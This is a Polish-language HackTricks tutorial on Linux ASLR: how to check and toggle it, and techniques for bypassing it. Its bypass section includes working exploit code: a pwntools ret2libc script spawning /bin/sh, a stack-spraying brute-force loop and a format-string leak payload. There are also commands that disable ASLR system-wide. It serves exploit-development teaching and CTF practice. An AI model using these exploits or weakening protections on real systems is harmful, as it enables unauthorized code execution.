ASLR

Reading time: 9 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

Randomizacja układu przestrzeni adresowej (ASLR) to technika zabezpieczeń stosowana w systemach operacyjnych do randomizacji adresów pamięci używanych przez procesy systemowe i aplikacyjne. Dzięki temu znacznie trudniej jest atakującemu przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co łagodzi niektóre rodzaje exploitów, szczególnie przepełnienia bufora.

Sprawdzanie statusu ASLR

Aby sprawdzić status ASLR w systemie Linux, możesz odczytać wartość z pliku /proc/sys/kernel/randomize_va_space. Wartość przechowywana w tym pliku określa rodzaj stosowanej randomizacji ASLR:

  • 0: Brak randomizacji. Wszystko jest statyczne.
  • 1: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
  • 2: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez brk() jest randomizowana.

Możesz sprawdzić status ASLR za pomocą następującego polecenia:

bash
cat /proc/sys/kernel/randomize_va_space

Wyłączanie ASLR

Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space na 0. Wyłączanie ASLR jest ogólnie niezalecane poza scenariuszami testowymi lub debugowania. Oto jak możesz to wyłączyć:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Możesz również wyłączyć ASLR dla wykonania za pomocą:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Włączanie ASLR

Aby włączyć ASLR, możesz zapisać wartość 2 w pliku /proc/sys/kernel/randomize_va_space. Zazwyczaj wymaga to uprawnień roota. Włączenie pełnej randomizacji można zrealizować za pomocą następującego polecenia:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Utrzymywanie po restarcie

Zmiany wprowadzone za pomocą poleceń echo są tymczasowe i zostaną zresetowane po restarcie. Aby zmiana była trwała, musisz edytować plik /etc/sysctl.conf i dodać lub zmodyfikować następującą linię:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Po edytowaniu /etc/sysctl.conf, zastosuj zmiany za pomocą:

bash
sudo sysctl -p

To zapewni, że ustawienia ASLR pozostaną po ponownych uruchomieniach.

Obejścia

32-bitowe brute-forcing

PaX dzieli przestrzeń adresową procesu na 3 grupy:

  • Kod i dane (zainicjowane i niezainicjowane): .text, .data, i .bss —> 16 bitów entropii w zmiennej delta_exec. Ta zmienna jest losowo inicjowana z każdym procesem i dodawana do początkowych adresów.
  • Pamięć przydzielona przez mmap() i biblioteki współdzielone —> 16 bitów, nazwane delta_mmap.
  • Stos —> 24 bity, określane jako delta_stack. Jednak efektywnie wykorzystuje 11 bitów (od 10. do 20. bajtu włącznie), wyrównane do 16 bajtów —> To skutkuje 524,288 możliwymi rzeczywistymi adresami stosu.

Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR poprzez wielokrotne próby wykonania, aż exploit zakończy się sukcesem.

Pomysły na brute-force:

  • Jeśli masz wystarczająco duży overflow, aby pomieścić duży NOP sled przed shellcode, możesz po prostu brute-forcować adresy na stosie, aż przepływ przeskoczy nad jakąś częścią NOP sled.
  • Inną opcją w przypadku, gdy overflow nie jest tak duży, a exploit może być uruchomiony lokalnie, jest możliwość dodania NOP sled i shellcode w zmiennej środowiskowej.
  • Jeśli exploit jest lokalny, możesz spróbować brute-forcować adres bazowy libc (przydatne dla systemów 32-bitowych):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Jeśli atakujesz zdalny serwer, możesz spróbować brute-forcować adres funkcji libc usleep, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer zajmuje dodatkowe 10s na odpowiedź, znalazłeś adres tej funkcji.

tip

W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe.

Bruteforcing stosu 64-bitowego

Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania binarnego setki/tysiące razy lokalnie, aby go wykorzystać.
Poniższy kod pokazuje, jak można po prostu wybrać adres na stosie i co kilkaset wykonania ten adres będzie zawierał instrukcję NOP:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Informacje lokalne (/proc/[pid]/stat)

Plik /proc/[pid]/stat procesu jest zawsze czytelny dla wszystkich i zawiera interesujące informacje, takie jak:

  • startcode & endcode: Adresy powyżej i poniżej z TEKSTEM binarnego
  • startstack: Adres początku stosu
  • start_data & end_data: Adresy powyżej i poniżej, gdzie znajduje się BSS
  • kstkesp & kstkeip: Aktualne adresy ESP i EIP
  • arg_start & arg_end: Adresy powyżej i poniżej, gdzie są argumenty cli.
  • env_start & env_end: Adresy powyżej i poniżej, gdzie są zmienne środowiskowe.

Dlatego, jeśli atakujący znajduje się na tym samym komputerze co binarny program, który jest wykorzystywany, a ten binarny program nie oczekuje przepełnienia z surowych argumentów, lecz z innego wejścia, które można skonstruować po odczytaniu tego pliku. Możliwe jest, aby atakujący uzyskał kilka adresów z tego pliku i skonstruował odchylenia na ich podstawie dla exploita.

tip

Aby uzyskać więcej informacji na temat tego pliku, sprawdź https://man7.org/linux/man-pages/man5/proc.5.html szukając /proc/pid/stat

Posiadanie wycieku

  • Wyzwanie polega na podaniu wycieku

Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć odchylenia na jego podstawie (zakładając na przykład, że znasz dokładną wersję libc, która jest używana w systemie, który exploitujesz). Ten przykład exploita jest wyciągnięty z przykładu stąd (sprawdź tę stronę, aby uzyskać więcej szczegółów):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Wykorzystując przepełnienie bufora, możliwe byłoby wykorzystanie ret2plt do wyeksportowania adresu funkcji z libc. Sprawdź:

{{#ref}} ret2plt.md {{#endref}}

  • Format Strings Arbitrary Read

Podobnie jak w ret2plt, jeśli masz dowolne odczyty przez lukę w formatach ciągów, możliwe jest wyeksportowanie adresu funkcji libc z GOT. Następujący przykład pochodzi stąd:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Możesz znaleźć więcej informacji na temat Format Strings arbitrary read w:

{{#ref}} ../../format-strings/ {{#endref}}

Ret2ret & Ret2pop

Spróbuj obejść ASLR, wykorzystując adresy w stosie:

{{#ref}} ret2ret.md {{#endref}}

vsyscall

Mechanizm vsyscall służy do zwiększenia wydajności, umożliwiając wykonywanie niektórych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą vsyscalls są ich stałe adresy, które nie podlegają ASLR (Randomizacja Układu Przestrzeni Adresowej). Ta stała natura oznacza, że atakujący nie potrzebują luki w informacji, aby określić ich adresy i wykorzystać je w exploicie.
Jednak nie znajdziesz tutaj super interesujących gadżetów (chociaż na przykład możliwe jest uzyskanie odpowiednika ret;)

(Następujący przykład i kod są z tego opisu)

Na przykład, atakujący może użyć adresu 0xffffffffff600800 w exploicie. Próba bezpośredniego skoku do instrukcji ret może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok do początku syscall dostarczonego przez sekcję vsyscall może okazać się skuteczny. Starannie umieszczając gadżet ROP, który prowadzi wykonanie do tego adresu vsyscall, atakujący może osiągnąć wykonanie kodu bez potrzeby omijania ASLR w tej części exploitu.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Zauważ, jak może być możliwe obejście ASLR wykorzystując vdso, jeśli jądro jest skompilowane z CONFIG_COMPAT_VDSO, ponieważ adres vdso nie będzie zrandomizowany. Po więcej informacji sprawdź:

{{#ref}} ../../rop-return-oriented-programing/ret2vdso.md {{#endref}}

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks